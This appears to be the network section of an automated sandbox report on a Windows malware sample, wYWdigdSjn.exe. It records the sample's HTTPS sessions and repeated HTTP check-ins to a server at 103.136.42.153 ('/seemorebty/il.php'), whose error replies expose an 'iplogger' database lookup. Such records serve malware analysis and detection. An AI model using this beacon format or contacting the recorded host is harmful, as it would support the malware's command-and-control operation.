0	192.168.2.3	49696	157.240.20.35	443	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49707	157.240.20.35	443	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49710	103.136.42.153	80	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data
Oct 8, 2022 11:35:09.084063053 CEST	629	OUT	GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Oct 8, 2022 11:35:09.113980055 CEST	630	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 08 Oct 2022 09:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 36 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 57 59 57 44 49 47 7e 31 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 368<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='WYWDIG~1' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49712	103.136.42.153	80	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data
Oct 8, 2022 11:35:17.291368961 CEST	783	OUT	GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Oct 8, 2022 11:35:17.323168039 CEST	784	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 08 Oct 2022 09:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 36 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 57 59 57 44 49 47 7e 31 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 368<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='WYWDIG~1' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0
Oct 8, 2022 11:35:17.557290077 CEST	785	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 08 Oct 2022 09:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 36 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 57 59 57 44 49 47 7e 31 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 368<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='WYWDIG~1' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49714	103.136.42.153	80	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data
Oct 8, 2022 11:35:43.060820103 CEST	940	OUT	GET /seemorebty/il.php?e=wYWdigdSjn HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Oct 8, 2022 11:35:43.092200994 CEST	941	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 08 Oct 2022 09:35:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 36 61 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 77 59 57 64 69 67 64 53 6a 6e 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 36a<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='wYWdigdSjn' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49716	103.136.42.153	80	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data
Oct 8, 2022 11:35:51.001307011 CEST	957	OUT	GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: 103.136.42.153
Oct 8, 2022 11:35:51.032068968 CEST	958	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 08 Oct 2022 09:35:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 33 36 38 0d 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 44 65 70 72 65 63 61 74 65 64 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 54 68 65 20 6d 79 73 71 6c 20 65 78 74 65 6e 73 69 6f 6e 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 72 65 6d 6f 76 65 64 20 69 6e 20 74 68 65 20 66 75 74 75 72 65 3a 20 75 73 65 20 6d 79 73 71 6c 69 20 6f 72 20 50 44 4f 20 69 6e 73 74 65 61 64 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 34 37 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 20 65 78 70 65 63 74 73 20 70 61 72 61 6d 65 74 65 72 20 32 20 74 6f 20 62 65 20 72 65 73 6f 75 72 63 65 2c 20 62 6f 6f 6c 65 61 6e 20 67 69 76 65 6e 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 37 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 3c 62 3e 31 30 34 35 20 2d 20 41 63 63 65 73 73 20 64 65 6e 69 65 64 20 66 6f 72 20 75 73 65 72 20 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 20 28 75 73 69 6e 67 20 70 61 73 73 77 6f 72 64 3a 20 59 45 53 29 3c 62 72 3e 3c 62 72 3e 73 65 6c 65 63 74 20 69 70 6c 6f 67 67 65 72 20 66 72 6f 6d 20 74 5f 63 68 61 6e 6e 65 6c 73 20 77 68 65 72 65 20 6e 61 6d 65 3d 27 57 59 57 44 49 47 7e 31 27 20 6c 69 6d 69 74 20 30 2c 31 3c 62 72 3e 3c 62 72 3e 3c 73 6d 61 6c 6c 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 66 66 30 30 30 30 22 3e 5b 54 45 50 20 53 54 4f 50 5d 3c 2f 66 6f 6e 74 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 3e 3c 62 72 3e 3c 2f 62 3e 3c 2f 66 6f 6e 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 368<br /><b>Deprecated</b>: mysql_pconnect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_pconnect(): Access denied for user 'dbnew01'@'localhost' (using password: YES) in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>47</b><br /><br /><b>Warning</b>: mysql_query() expects parameter 2 to be resource, boolean given in <b>/www/wwwroot/103.136.42.153/seemorebty/includes/database.php</b> on line <b>73</b><br /><font color="#000000"><b>1045 - Access denied for user 'dbnew01'@'localhost' (using password: YES)<br><br>select iplogger from t_channels where name='WYWDIG~1' limit 0,1<br><br><small><font color="#ff0000">[TEP STOP]</font></small><br><br></b></font>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49709	157.240.20.35	443	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49711	31.13.92.36	443	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49713	31.13.92.36	443	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49715	31.13.92.36	443	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

